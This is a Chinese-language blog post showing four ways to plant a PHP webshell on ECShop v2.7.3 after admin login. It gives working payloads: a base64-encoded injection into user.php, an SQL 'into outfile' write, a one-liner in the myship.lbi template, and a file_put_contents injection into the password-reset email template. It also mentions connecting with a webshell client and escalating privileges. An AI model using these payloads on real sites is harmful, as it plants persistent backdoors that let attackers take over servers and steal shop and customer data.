ecshop v2.7.3之webshell篇(4种方法)

0X01

拿webshell。登陆后发现只有一个语言编辑权利,但这正是我们为了拿webshell分配的,已经足够了。

由于将变量直接写入user.php文件并且没有对变量过滤,导致可以插入代码并执行。

 

查找用户信息

 

 

在用户信息后面添加生成一句话木马的代码

${${fputs(fopen(base64_decode(dGVzdC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbdGVzdF0pPz4))}} 

 

此时我们查看user.php的代码发现刚才的代码已经成功写入user.php文件中

然后攻击者访问http://192.168.238.132/upload/user.php后代码将会执行,在网站根目录下生成一句话木马test.php。

 

使用菜刀连接我们的一句话木马,可以发现已经成功连接上

 

 

 

 

0X02

爆路径,得到物理路径

http://127.0.0.1/ecshop/languages/en_us/common.php


 

后台sql语句执行处,into outfile写文件,配合上步得到的物理路径拿shell

在sql语句处输入:

select "<?php @eval($_POST['c']);?>" into outfile '物理路径//test.php';

 

 

0X03

进入后台>模板管理>库项目管理 , 然后选择 myship.lbi,直接在最后面写入PHP一句话,地址xxx.com/myship.php菜刀连接,上传大马….接下来…好了不说了 ,提权..你懂得

0X04

后台-邮件模版-编辑,把内容修改成

{$user_name’];file_put_contents(base64_decode(‘Li4vdGVtcC9zaGVsbC5waHA=’),base64_decode(‘PD9waHAgQGV2YWwoJF9QT1NUWycyMDcnXSk7Pz4=’));echo $var[‘$user_name}

</p>
<p>{$user_name}您好!<br />
<br />
您已经进行了密码重置的操作,请点击以下链接(或者复制到您的浏览器):<br />
<br />
<a target=”_blank” href=”{$reset_email}”>{$reset_email}</a><br />
<br />
以确认您的新密码重置操作!<br />
<br />
{$shop_name}<br />
{$send_date}</p>

点击确定,在后台登陆地方点忘记密码,输入用户和邮箱 (这个在后台随便找个用户就OK)提交就会在temp下生成shell.php一句话木马,密码是207

Li4vdGVtcC9zaGVsbC5waHA= 用base64解密就是 ../temp/shell.php
 
 

posted @ 2015-10-18 13:05  小生观察室  阅读(257)  评论(0编辑  收藏  举报